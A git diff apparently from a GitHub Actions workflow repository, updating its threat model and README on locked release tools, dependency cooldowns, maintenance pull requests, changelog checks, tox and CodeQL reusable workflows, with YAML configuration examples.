.../+jetbrains-marketplace-stage.feature.md | 4 +- .../+jetbrains-plugin-check.feature.md | 7 +- .../+jetbrains-post-release.feature.md | 4 +- changelog.d/+open-maintenance-pr.feature.md | 5 +- .../+prepare-release-creator.feature.md | 8 +- .../+release-notes-workflow.feature.md | 4 +- changelog.d/+render-package-notes.feature.md | 2 +- changelog.d/+required-checks.feature.md | 5 +- .../+update-python-dependencies.feature.md | 6 +- 18 files changed, 887 insertions(+), 895 deletions(-) delete mode 100644 changelog.d/+allowed-paths.change.md create mode 100644 changelog.d/+allowed-paths.feature.md diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index 3ee8e7a..4f369a2 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -55,7 +55,7 @@ An attacker who controls any of these already has what github-workflows could gi | Input | Comes from | What github-workflows guarantees | | ---------------------------------- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | -| Artifacts from read-only jobs | Jobs that ran project code | Each writer accepts only the paths its caller allows, as regular files or deletions, from the patch. | +| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, or the paths the caller's `allowed-paths` names, as regular files or deletions. | | Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | | Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which the caller limits to pushes to `main`, schedules and dispatches. | @@ -68,7 +68,7 @@ An attacker who controls any of these already has what github-workflows could gi | Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | | Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | | Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | -| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with Pages write. The mirror compares a published tag's tree, refuses different content, and pushes without force. | +| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. | | Elevation of privilege | Pull request hook code runs with the mirror job's write token. | Caller configuration: the mirror holds `contents: write` in the job that runs hooks, so callers trigger it only on pushes to `main`, schedules and dispatches. | ## Release chain diff --git a/README.md b/README.md index 83cd30b..8cd9d41 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,9 @@ # GitHub workflows -Composite Actions check PR news, prepare a Towncrier release, verify its patch, push an App-authored commit and tag, and -render GitHub Release notes. The reusable Python release workflow builds and checks wheels and sdists. Each repository -keeps its dispatch form, publisher, GitHub environment, and required check names. +Composite actions (called Actions below) and reusable workflows install locked tools, check pull request news, run tox +and CodeQL, prepare releases, push App-authored release commits and tags, publish GitHub Releases, JetBrains plugins, +pre-commit mirrors and LaTeX PDFs, and keep dependencies current. Each repository keeps its dispatch form, publisher, +GitHub environment, and required check names. ## Install locked tools @@ -57,69 +58,52 @@ reusable workflow that installs such a tool takes two inputs: The tools the caller's release jobs run, such as release-creator, Towncrier, and prek, still come hash-checked from the caller's `pylock.toml`. -## Check pull request news +## Expire cutoff exceptions -`validate-news` reads `tool.towncrier` from `pyproject.toml`. It checks every added or modified fragment in the -configured directory against the configured categories, filename format, and nonempty content. A valid fragment runs -`towncrier check` against the PR base. A human PR without a fragment needs `skip news`; a bot PR without a fragment does -not. A bot's supplied fragment is checked and included in the normal release flow. The Action reads repository files and -Git history and reads the PR's current labels; it does not add labels or write to GitHub. +A `[tool.nab]` exception that admits one package past the cutoff, `packages..uploaded-prior-to`, carries its +expiry date in a comment directly above the package table header or dotted key: -Each check runs only when the pull request touches what it validates, compared with the merge base: +```toml +# expires 2026-11-09 +[tool.nab.packages.release-creator] +uploaded-prior-to = 2026-11-02T21:45:00Z +``` -- Fragment validation runs when a file in the configured fragment directory changes. -- The Towncrier configuration is checked when `towncrier.toml` or the `tool.towncrier` table of `pyproject.toml` - changes; such a change also validates the changed fragments. -- The lock check runs `refresh-release-lock` in `check` mode when any `pyproject.toml`, `pylock.toml`, a root - `pylock.*.toml`, or `nab.toml` changes. -- The lock-removal guard runs when the pull request deletes `pylock.toml`. +Nab rejects unknown keys in a package table, so the date cannot sit beside the value. The date is the last day the +exception is valid. The check fails when an exception has no such comment, a malformed date, or a date that has passed, +and names the package. A standalone `nab.toml` is checked the same way. An exception in `[[tool.nab.package-rules]]` is +rejected, since the check does not read those tables; move it to a package table. -The requirement for a fragment on human PRs is not tied to a file and runs on every pull request. +The check runs in three places: -Put the `changelog` job in a separate `news.yaml` workflow triggered by `opened`, `reopened`, `synchronize`, `labeled`, -and `unlabeled`. Require its status in the main-branch ruleset alongside the test aggregate. A label change then runs -only the news workflow. Install Towncrier from the caller's release lock before calling the Action: +- `upgrade-release-tools.yaml`, before it refreshes the lock. Every caller's scheduled run therefore fails on an expired + or undated exception, even when no release input changed. -```yaml -changelog: - runs-on: ubuntu-26.04 - permissions: - contents: read - pull-requests: read - steps: - - uses: actions/checkout@CHECKOUT_SHA - with: - fetch-depth: 0 - persist-credentials: false - - uses: astral-sh/setup-uv@SETUP_UV_SHA - with: - version: latest-known - python-version: '3.15' - - uses: tox-dev/github-workflows/install-locked-tools@SHA - with: - groups: release-news - venv: ${{ runner.temp }}/release-tools - - uses: tox-dev/github-workflows/validate-news@SHA -``` +- `refresh-release-lock` in `check` mode, which `validate-news` calls when a pull request changes `pyproject.toml`, + `pylock.toml`, a root `pylock.*.toml`, or `nab.toml`. -The Action expects a pull request base ref and a Markdown or reStructuredText changelog. The caller should also run on -`labeled` and `unlabeled` events, so a label added after opening the PR updates the required check. The Action reads the -PR's labels from the API rather than from the event, so re-running an older run sees the labels the PR has now; the job -needs `pull-requests: read` for that. +- The `check-nab-exceptions` Action on its own. It reads `pyproject.toml` and `nab.toml` from the checkout and takes no + inputs: -Opening a PR with labels, as `gh pr create --label` does, fires `labeled` a moment after `opened`. A label event within -a minute of opening passes at once, since the run for `opened` reads the labels when it checks. Do not cancel runs in -progress with a `concurrency` group: the cancelled run would show as a failed check while the other one passes. + ```yaml + - uses: tox-dev/github-workflows/check-nab-exceptions@SHA + ``` + +Hook environments install under the same seven-day upload cutoff, with the repository's uv settings ignored. A package +with a `packages..uploaded-prior-to` exception in `[tool.nab]` is admitted up to that date in hook environments +too, so a hook dependency pinned to a release newer than the cutoff, such as `sphinx` for `docstrfmt`, needs the same +temporary exception the release lock uses. Delete the exception once the release is a week old. ## Refresh release tools Call `upgrade-release-tools.yaml` from a scheduled or manual workflow. Its read-only job refreshes the universal `pylock.toml` with `nab lock --all-groups --all-extras --no-cache --upgrade`, which records runtime dependencies, all extras, and all dependency groups. The project's `[tool.nab]` table sets the cutoff and any per-package exception; the -caller adds and removes those exceptions itself. uv only installs tools and never resolves the lock. The job uploads a -patch, which may change only `pylock.toml` and an explicitly configured secondary Nab lock. The writer checks the patch -before minting the App token. It then opens or updates one dependency PR from `automation/update-release-tools` to -`main`. A lock update runs the normal PR checks before merge. +caller adds and removes those exceptions itself. uv only installs tools and never resolves the lock. + +The job uploads a patch, which may change only `pylock.toml` and an explicitly configured secondary Nab lock. The writer +checks the patch before minting the App token. It then opens or updates one dependency PR from +`automation/update-release-tools` to `main`. A lock update runs the normal PR checks before merge. The writer uses a repository-only release App with Contents and Pull requests write access. Install the App on this repository, set `RELEASE_APP_CLIENT_ID` as a repository variable, and store `RELEASE_APP_PRIVATE_KEY` in the @@ -148,7 +132,7 @@ jobs: re-pinning. Tests install test, type, and documentation tools afresh to detect upstream dependency changes. The updater also refreshes a caller's secondary Nab build-matrix lock when `additional-lock` and its matrix inputs are set. -The optional `commit-message`, `pull-request-title`, and `pull-request-body` inputs retain existing PR wording. The +The optional `commit-message`, `pull-request-title`, and `pull-request-body` inputs replace the default text. The workflow never updates a committed `uv.lock`. Build constraints are generated from the lock's `build` group at runtime. For a second lock such as `pylock.build.toml`, set `additional-lock`, `additional-matrix-python`, @@ -160,674 +144,707 @@ workflow. It checks changes to either lock against the project, including a PR t `refresh-release-lock` is the read-only half of the updater. In `refresh` mode, it upgrades the full primary lock and writes `$RUNNER_TEMP/lock.patch` if a lock changes. In `check` mode, it regenerates the primary lock without upgrading -and fails if anything other than Nab's recorded command line differs. Check mode installs the Nab version that the -committed `pylock.toml` records in `[tool.nab] nab-version`, and fails if the lock has none, because a newer Nab would -rewrite that field in every committed lock. Refresh mode installs the newest Nab under the cutoff. Every Nab run unsets -`SSL_CERT_FILE` and `SSL_CERT_DIR`, so Nab uses its own certificate store. `validate-news` calls this mode when a PR -changes release inputs, including a workspace member's `pyproject.toml` or a secondary lock. The resulting PR's normal -formatting job runs `prek`; the writer checks patch paths and modes. Its `changed` output is `true` only when the -refresh produces a patch. Neither mode pushes a branch or requests a write token. - -Every shared `prek` command runs through `tools/cooled_prek.sh`, which the `cooled-prek` Action wraps for workflows, and -passes `--config .pre-commit-config.yaml`. Without it, prek prefers a root `prek.toml` and also runs nested -configurations, which no guard checks. +and fails if anything other than Nab's recorded command line differs. -Hook environments install under the same seven-day upload cutoff, with the repository's uv settings ignored. A package -with a `packages..uploaded-prior-to` exception in `[tool.nab]` is admitted up to that date in hook environments -too, so a hook dependency pinned to a release newer than the cutoff, such as `sphinx` for `docstrfmt`, needs the same -temporary exception the release lock uses. Delete the exception once the release is a week old. +Check mode installs the Nab version that the committed `pylock.toml` records in `[tool.nab] nab-version`, and fails if +the lock has none, because a newer Nab would rewrite that field in every committed lock. Refresh mode installs the +newest Nab under the cutoff. Every Nab run unsets `SSL_CERT_FILE` and `SSL_CERT_DIR`, so Nab uses its own certificate +store. -## Start with a caller +`validate-news` calls check mode when a PR changes release inputs, including a workspace member's `pyproject.toml` or a +secondary lock. The resulting PR's normal formatting job runs `prek`; the writer checks patch paths and modes. Its +`changed` output is `true` only when the refresh produces a patch. Neither mode pushes a branch or requests a write +token. -The [release preparation workflow](.github/workflows/prepare-release.yaml) in this repository calls the reusable -Towncrier workflow. Its `assemble` job uploads a patch. The `push` job downloads that artifact by ID and checks its -paths and modes before minting a repository-scoped App token. Set the tag style in the caller and the changelog path and -fragment directory in committed Towncrier configuration. Pin the reusable workflow to a release commit SHA; `SHA` in -these examples means that commit. +Shared workflows run every `prek` command through the `cooled-prek` Action, which passes +`--config .pre-commit-config.yaml`. Without that flag, prek prefers a root `prek.toml` and also runs nested +configurations, which no guard checks. -Assembly needs release history to select a tag. The writer can check out the source commit with `fetch-depth: 1`. All -jobs use `persist-credentials: false`. Assembly installs the caller's locked release tools and needs `contents: read` -and `pull-requests: read` to resolve PR authors. It starts `prek install-hooks` while building the changelog, then waits -for the hooks before formatting and uploading the patch. The writer uses the `release-auth` environment with -`RELEASE_APP_PRIVATE_KEY` and `RELEASE_APP_CLIENT_ID`. Restrict that environment to `main`. Install the App on this -repository only, with Contents write and Metadata read, and grant the necessary branch and tag ruleset bypass. +## Update Python dependencies -```text -main + fragments - โ”‚ - โ–ผ -prepare-towncrier โ”€โ”€โ–บ upload patch - โ”‚ - โ–ผ - verify paths and modes - โ”‚ - โ–ผ - mint App token โ”€โ”€โ–บ commit-and-tag โ”€โ”€โ–บ main + tag -``` +`update-python-dependencies.yaml` bumps the direct requirements in the files you name, regenerates `pylock.toml`, runs +the repository's hooks, and opens a dependency pull request. With `kind: app` (default) every bumped floor waits out the +cooldown, and so does every locked release. With `kind: library`, the groups in `fresh-groups` take their newest release +at once, and every other group waits. -The tag starts the caller's publisher. Keep PyPI trusted publishing in that top-level workflow, in a separate job with -`id-token: write` because -[PyPI disallows reusable workflows](https://docs.pypi.org/trusted-publishers/troubleshooting/). Repositories with the -standard `uv` wheel and sdist build can call `validate-python-release.yaml` in the tag publisher. The -[self-release workflow](.github/workflows/release.yaml) shows the GitHub Release path; callers keep their ecosystem -uploads. The tag caller renders the Release body and has the only Contents write job that creates the GitHub Release. +```yaml +name: Update Python dependencies +on: + workflow_dispatch: + inputs: + cooldown: + description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off + type: string + default: 7 days + expedite: + description: Space-separated packages whose newest release skips the cooldown for this run + type: string + default: "" + schedule: + - cron: 0 8 * * 2 +permissions: {} +jobs: + update: + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/update-python-dependencies.yaml@SHA + with: + files: | + pyproject.toml tox.toml + cooldown: ${{ inputs.cooldown || '7 days' }} + expedite: ${{ inputs.expedite || '' }} + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` -## Validate a Python release +- `files` **(required)**: Newline-separated groups. Each line is one `bump-deps-index --file` run over its + space-separated paths, so a file that needs a different cutoff belongs in its own run. Paths are plain relative paths. +- `cooldown`: Upload age a bumped release needs; `7 days` by default, `N days` only. `0 days` turns the bump cooldown + off for the run. +- `expedite`: Whitespace-separated package names. Each one takes its newest release for this run, past the cooldown. It + changes only the bump. The lock still follows the cutoff in the caller's `[tool.nab]` table, so a locked package needs + a committed `[tool.nab.packages.NAME]` exception, which the next run keeps. +- `kind`: `app` (default) cools every bump. `library` keeps the `fresh-groups` dependencies fresh, passing + `--exclude-newer-group GROUP=false` for each, and cools the rest. Its tooling groups, the build backend, and the hooks + stay cooled. +- `fresh-groups`: Space-separated dependency groups for `kind: library`, default `project test`. `project` is the + `[project]` runtime dependencies and extras. The group names are validated, and the list is ignored for `app`. +- `exclude-newer` and `exclude-newer-package`: The upload cutoff for the `bump-deps-index` install from PyPI, `7 days` + by default, and newline-separated `name=date` overrides for it. The tool itself is tooling, so the default keeps it + cooled. A dated package override admits a tool release that is younger than the cutoff. +- `allowed-paths`: Newline-separated glob patterns for files that a repository hook rewrites, such as a generated + README. `pylock.toml` and every path in `files` are always allowed. +- `branch`, `title`, `body`, `labels`: Passed to `open-maintenance-pr`. Defaults: `update-python-dependencies`, + `Update Python dependencies`, and no labels. -`validate-python-release.yaml` runs one `build` job. It exports hashed build constraints from the caller lock, builds -the wheel and sdist, and uploads them. The workflow does not inspect the built files further; check package metadata and -wheel contents in the package's own `tox -e pkg_meta` run. +The workflow installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` +needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then `cooled-prek` twice: the first run +may rewrite files, and the second confirms the result is stable. Put a repository's own formatting, README generation, +and other steps in its prek hooks. Besides the locked release tools, it installs Nab from PyPI under the seven-day +cutoff, and `bump-deps-index` under `exclude-newer`, at a release that supports `--exclude-newer-group` and +`--exclude-newer-package`. -```yaml -build: - uses: >- - tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA - permissions: - contents: read -``` +**Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, +or none when nothing changed. -The caller needs a `build` group for backend constraints. `source` defaults to `.`. Use `artifact-prefix` when one tag -produces more than one distribution path; each call then writes a distinct `python-package-distributions` artifact. A -caller pinned to a workflow commit runs that commit's local Actions. Pass the cutoff inputs as for -`refresh-release-lock`. +## Open a maintenance pull request -Publish only after the reusable workflow succeeds. Download the distribution with pinned `download-artifact` -[v8.0.2](https://github.com/actions/download-artifact/blob/9000827ccba6bdab643e8b6fd33ac0654aef8333/action.yml#L37-L45), -using `artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }}`. The download checks the artifact digest and -selects the wheel and sdist from that build run. This reusable workflow does not render notes. Render them in a -read-only `notes` job of the caller's tag workflow that runs in parallel with `build`: check out the full history, call -`render-release-notes`, and upload `$RUNNER_TEMP/release-notes.md` as an artifact. The Action finds the previous tag -with `release-creator tags --previous`, renders the section with `release-creator notes`, and appends the artifact link -and the Full Changelog link. Keep PyPI OIDC in the caller's `release` environment job. +`open-maintenance-pr.yaml` opens or updates one pull request from a patch that a read-only job of the caller uploaded. +The caller uploads the patch as an artifact named `maintenance-patch` and passes its artifact ID. -Run the tag workflow under `concurrency` keyed by the tag, without cancelling a run in progress. The release job has -`contents: write` and no checkout. It reconciles the PyPI digests and then creates the GitHub Release with a single -`publish-github-release` call after PyPI, with no separate stage job: +The reusable workflow runs two jobs. `validate` applies the patch to a scratch index and leaves the checkout unchanged, +then checks that every changed path matches `allowed-paths` and that each change is a regular non-executable file or a +deletion. `open` is the only job that mints the App token. It runs in the `release-auth` environment, verifies the patch +digest that `validate` recorded, checks the paths and modes again, commits, and force-pushes `branch` with a lease. It +then edits the open pull request from `branch` into `base`, or opens one. ```yaml -concurrency: - group: release-${{ github.ref }} - cancel-in-progress: false jobs: - release: - needs: [build, pypi, notes] + generate: runs-on: ubuntu-26.04 permissions: - contents: write + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} steps: - - uses: astral-sh/setup-uv@SETUP_UV_SHA - with: - python-version: '3.15' - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }} - path: dist - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.notes.outputs.artifact-id }} - path: ${{ runner.temp }} - - uses: tox-dev/github-workflows/reconcile-pypi-artifacts@SHA - with: - project: example - version: ${{ github.ref_name }} - dist: dist - - uses: tox-dev/github-workflows/publish-github-release@SHA - env: - GH_TOKEN: ${{ github.token }} + # ... produce the changes in the working tree, then write $RUNNER_TEMP/maintenance.patch + - id: upload + uses: actions/upload-artifact@UPLOAD_SHA with: - tag: ${{ github.ref_name }} - commit: ${{ github.sha }} - title: ${{ github.ref_name }} - notes-file: ${{ runner.temp }}/release-notes.md + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch + if-no-files-found: error + open: + needs: generate + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/open-maintenance-pr.yaml@SHA + with: + artifact-id: ${{ needs.generate.outputs.artifact-id }} + allowed-paths: | + docs/*.md + site/static/diagrams/*.svg + branch: automation/update-diagrams + title: Update diagrams + body: Regenerate the diagrams from the scheduled scan. + labels: skip news + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} ``` -## Build a distribution for a pull request +- `artifact-id` **(required)**: ID of the `maintenance-patch` artifact from the same workflow run. +- `allowed-paths` **(required)**: Newline-separated shell glob patterns. A pattern is an exact path or a glob. Dots are + literal, and `*` also matches `/`. +- `branch` **(required)**: Branch that holds the maintenance commit. A later run force-pushes it with a lease, replacing + the earlier commit. +- `base`: Branch the pull request targets; default `main`. +- `title` **(required)**: Pull request title, also the commit subject. +- `body`: Pull request body. +- `labels`: Newline-separated labels to add. Each label must already exist in the repository. -`build-python-distribution` remains available for existing keyless PR build jobs. It exports hashed build constraints -from the caller's lock, and writes a wheel and sdist to `dist/`. It does not upload or publish them. Tagged release jobs -use `validate-python-release.yaml`. +The caller grants `contents: read` to its job and passes `RELEASE_APP_PRIVATE_KEY`. The App needs Contents and Pull +requests write access on this repository only, as for `upgrade-release-tools`. Repository hooks and the caller's own +generation run in the read-only job, before the artifact exists. The reusable workflow never runs project code. -```yaml - - uses: tox-dev/github-workflows/build-python-distribution@SHA -``` +**Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull +request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. -The Action builds the checkout root and has no named output; subsequent steps read `dist/`. +## Check pull request news -## Export constraints for a build matrix +`validate-news` reads `tool.towncrier` from `pyproject.toml`. It checks every added or modified fragment in the +configured directory against the configured categories, filename format, and nonempty content. A valid fragment runs +`towncrier check` against the PR base. A human PR without a fragment needs `skip news`; a bot PR without a fragment does +not. A bot's supplied fragment is checked and included in the normal release flow. The Action reads repository files and +Git history and reads the PR's current labels; it does not add labels or write to GitHub. -`export-build-constraints` reads `pylock.toml` by default. Pass `lock` for a secondary lock such as `pylock.build.toml`, -plus `target-platform` and `targets` when the build matrix needs constraints for specific interpreters. The output -`path` names a temporary requirements file with hashes. The Action writes no tracked files. +Each check runs only when the pull request touches what it validates, compared with the merge base: -```yaml - - id: constraints - uses: tox-dev/github-workflows/export-build-constraints@SHA - with: - lock: pylock.build.toml - target-platform: linux_aarch64 - targets: 3.15.0:cpython +- Fragment validation runs when a file in the configured fragment directory changes. +- The Towncrier configuration is checked when `towncrier.toml` or the `tool.towncrier` table of `pyproject.toml` + changes; such a change also validates the changed fragments. +- The lock check runs `refresh-release-lock` in `check` mode when any `pyproject.toml`, `pylock.toml`, a root + `pylock.*.toml`, or `nab.toml` changes. +- The lock-removal guard runs when the pull request deletes `pylock.toml`. + +The requirement for a fragment on human PRs is not tied to a file and runs on every pull request. + +Put the `changelog` job in a separate `news.yaml` workflow triggered by `opened`, `reopened`, `synchronize`, `labeled`, +and `unlabeled`. Require its status in the main-branch ruleset alongside the gate job. A label change then runs only the +news workflow. Install Towncrier from the caller's release lock before calling the Action: + +```yaml +changelog: + runs-on: ubuntu-26.04 + permissions: + contents: read + pull-requests: read + steps: + - uses: actions/checkout@CHECKOUT_SHA + with: + fetch-depth: 0 + persist-credentials: false + - uses: astral-sh/setup-uv@SETUP_UV_SHA + with: + version: latest-known + python-version: '3.15' + - uses: tox-dev/github-workflows/install-locked-tools@SHA + with: + groups: release-news + venv: ${{ runner.temp }}/release-tools + - uses: tox-dev/github-workflows/validate-news@SHA ``` -`targets` is a space-separated list of `full-version:implementation` pairs. +The Action expects a pull request base ref and a Markdown or reStructuredText changelog. The caller should also run on +`labeled` and `unlabeled` events, so a label added after opening the PR updates the required check. The Action reads the +PR's labels from the API rather than from the event, so re-running an older run sees the labels the PR has now; the job +needs `pull-requests: read` for that. -## Prepare and tag with one reusable workflow +Opening a PR with labels, as `gh pr create --label` does, fires `labeled` a moment after `opened`. A label event within +a minute of opening passes at once, since the run for `opened` reads the labels when it checks. Do not cancel runs in +progress with a `concurrency` group: the cancelled run would show as a failed check while the other one passes. -`prepare-towncrier-release.yaml` runs two jobs. `assemble` selects a tag and uploads a Towncrier patch without the App -key. `push` downloads that artifact by ID, checks its paths and file modes, reads the caller's `release-auth` -environment, and uses a repository-scoped App token to push the release commit and tag together. +## Check a tox library + +`check.yaml` is a reusable workflow for a Python library tested with tox. It runs one job per `include` row, installs +tox with uv under the `exclude-newer` cutoff, sets up each tox environment with `--notest`, then runs it with +`--skip-pkg-install`. It ends with its own gate over the rows. The caller keeps a gate of its own, as below, so the +required check name stays in the caller. Pin it to a release commit SHA. ```yaml +name: ๐Ÿงช check +on: + pull_request: + types: [opened, synchronize, reopened] + push: + branches: ["main"] + tags-ignore: ["**"] +permissions: {} +concurrency: + group: check-${{ github.ref }} + cancel-in-progress: true jobs: - prepare: - uses: >- - tox-dev/github-workflows/.github/workflows/prepare-towncrier-release.yaml@SHA + test: + name: ๐Ÿงช Test + uses: tox-dev/github-workflows/.github/workflows/check.yaml@SHA permissions: contents: read - pull-requests: read with: - bump: ${{ inputs.bump }} - tag-prefix: v - annotated: true - secrets: - RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + include: | + [ + {"env": "3.15"}, + {"env": "3.15t", "python": "3.15t"}, + {"env": "3.14", "python": "3.14"}, + {"env": "type"}, + {"env": "pkg_meta"} + ] + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} ``` -The caller supplies the `release-auth` environment secret by name; the App client ID comes from that environment's -`RELEASE_APP_CLIENT_ID` variable. The App token requests Contents write for this repository only. The caller grants its -GitHub token Contents and Pull requests read. Assembly installs `release-prepare`, which contains release-creator, -Towncrier, and prek. No job output crosses back to the caller. A successful run pushes a tag, which the caller's tag -workflow handles. +- `include` **(required)**: JSON array of matrix rows. Each row needs `env`, the tox environment. `python` is a uv + interpreter the job installs before tox runs, such as `3.15t`; leave it out for the runner's Python. `os` overrides + the runner for that row. +- `os`: Runner for rows without `os`; default `ubuntu-26.04`. +- `apt-packages`: Space-separated Ubuntu packages installed on Linux jobs before tox, such as `graphviz`. +- `tox-install`: Arguments to `uv tool install` that put tox and its plugins on `PATH`; default `tox --with tox-uv`. A + project that is tox-uv itself passes `tox --with .`. +- `exclude-newer` and `exclude-newer-package`: The cutoff for the tox install, as in the Actions above; default + `7 days`. The tox environments themselves install fresh dependencies. +- `pytest-addopts`: `PYTEST_ADDOPTS` for the test run; default `-vv --durations=20`. +- `diff-against`: `DIFF_AGAINST` for the test run, a Git revision; default `HEAD`. +- `coverage`: `true` uploads each job's `.tox/.coverage.*` as an artifact named for its runner and row, kept three days. + A caller job merges them with `actions/download-artifact` using the pattern `.coverage.*` and runs its coverage + environment. -`bump`, `tag-prefix`, and `changelog-prefix` have the same meanings as the `prepare-towncrier` inputs below. `annotated` -selects an annotated tag. `release-auth-deployment` defaults to `true`; set it to `false` if the current App-key job -uses `release-auth` without creating a GitHub Deployment. The caller can place repository-specific checks in a preceding -job and make this job depend on it. One dispatch prepares one tag; run separate dispatches for separate packages. The -tag-triggered ecosystem publisher stays in the caller repository. +The check names are ` / ๐Ÿงช on `; the example's caller job is `๐Ÿงช Test`. Require the caller's +gate job, not the reusable one. The test jobs run project code, so the caller grants them `contents: read` only. -## Read Towncrier configuration +## Analyze with CodeQL -`read-towncrier-config` reads `towncrier.toml` or `pyproject.toml` from the checkout's committed `HEAD`, so an untrusted -release patch cannot change the allowed paths. +`codeql.yaml` is a reusable CodeQL workflow. It has one analysis job per language and no triggers, so the caller keeps +its schedule, branches, and pull request events. The caller grants `security-events: write`, because the analysis +uploads results to code scanning. ```yaml - - id: towncrier - uses: tox-dev/github-workflows/read-towncrier-config@SHA - - env: - CHANGELOG: ${{ steps.towncrier.outputs.changelog }} - run: printf '%s\n' "$CHANGELOG" +name: ๐Ÿ›ก๏ธ CodeQL +on: + push: + branches: [main] + pull_request: + schedule: + - cron: "0 9 * * 2" + workflow_dispatch: +permissions: {} +concurrency: + group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} +jobs: + analyze: + name: ๐Ÿ›ก๏ธ Analyze + uses: tox-dev/github-workflows/.github/workflows/codeql.yaml@SHA + permissions: + contents: read + security-events: write + with: + languages: '["actions","python"]' + paths-ignore: '["tests"]' ``` -Outputs are `changelog`, `fragments`, and `format`: `rst` for a `.rst` changelog, otherwise `markdown`. The Action does -not modify the checkout or GitHub state. +- `languages`: JSON array of CodeQL languages, one job each; default `["actions","python"]`. +- `paths-ignore`: JSON array of paths CodeQL skips, written to its configuration; default `[]`. +- `queries`: Query suite or comma-separated query list; default `security-extended`. +- `config-file`: Repository path to a CodeQL configuration file. Use it instead of `paths-ignore`, which has no effect + when this is set; the file lists its own paths. +- `build-mode`: `none` (default), `autobuild`, or `manual`, for each language. -## Prepare Towncrier release +Each check name is ` / ๐Ÿ›ก๏ธ Analyze `. With the caller job named `๐Ÿ›ก๏ธ Analyze`, the checks are +`๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze actions` and `๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze python`. Rulesets that required the earlier +`๐Ÿ›ก๏ธ Analyze ` name must require the new one. The workflow pins CodeQL Action v4.39.1 for both the init and +analyze steps. -`prepare-towncrier` chooses the next version, links fragments to their squash PRs, runs Towncrier and the selected -formatter hook through `prek`, then writes a binary Git patch at `$RUNNER_TEMP/release.patch`. It reads the changelog -path, fragment directory, and Markdown or RST format from committed Towncrier configuration through -`read-towncrier-config`. It does not commit or push. Version selection, fragment linking, the Towncrier build, and -formatting must all succeed. +## Require needed jobs + +`required-checks` fails unless every job in the `needs` context succeeded. Jobs named in `allow-skipped` may also end +skipped. Keep the caller's gate job, its name, and `if: ${{ !cancelled() }}`, because the name is the required check. +Use the Action instead of an inline `jq` check. ```yaml - - id: prepare - uses: tox-dev/github-workflows/prepare-towncrier@SHA - with: - bump: ${{ inputs.bump }} +gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test, type] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} ``` -- `bump`: `auto` (default), `major`, `minor`, or `patch`. Passed to `release-creator tags --next`; `auto` uses the - pending fragments. The caller's dispatch form decides which choices to expose. -- `tag-prefix`: Empty by default. Use `v` when release tags are spelled `v1.2.3`; version comparison still includes - unprefixed numeric tags in the repository's history. This does not set the changelog heading prefix. -- `changelog-prefix`: Empty by default, so Towncrier writes `1.2.3` even if the tag is `v1.2.3`. Set `v` for a changelog - whose release headings use `v1.2.3`. -- `version`: Explicit version for a caller with its own version selector. It takes precedence over `bump`. -- `phase`: `all` (default) runs the complete Action. The reusable workflow uses `build` to select the version, link - authors, and build the changelog while hooks install; it then uses `finalize` to format, render, and write the patch. - Pass the version selected by `build` to `finalize`. - -The committed `tool.towncrier` configuration gives the `filename` and `directory`. `docstrfmt` formats a `.rst` -changelog and `mdformat` any other; the formatter must be a configured `prek` hook. The Action writes the patch at -`$RUNNER_TEMP/release.patch`; the reusable workflow uploads it by artifact ID. +- `needs` **(required)**: The `needs` context as `toJSON(needs)`. +- `allow-skipped`: Newline-separated job IDs that may end skipped, such as a job that runs on one interpreter only. Each + ID must also appear in `needs`; a typo fails the Action and names the typo. A listed job that succeeded passes too. -**Output:** `version` is the selected tag string. Use `steps.prepare.outputs.version` as a job output and pass it to -both later Actions. **Working-tree effect:** Towncrier changes the changelog and consumes fragments; the patch records -those changes. +**Output:** No named output. **Remote effect:** None. 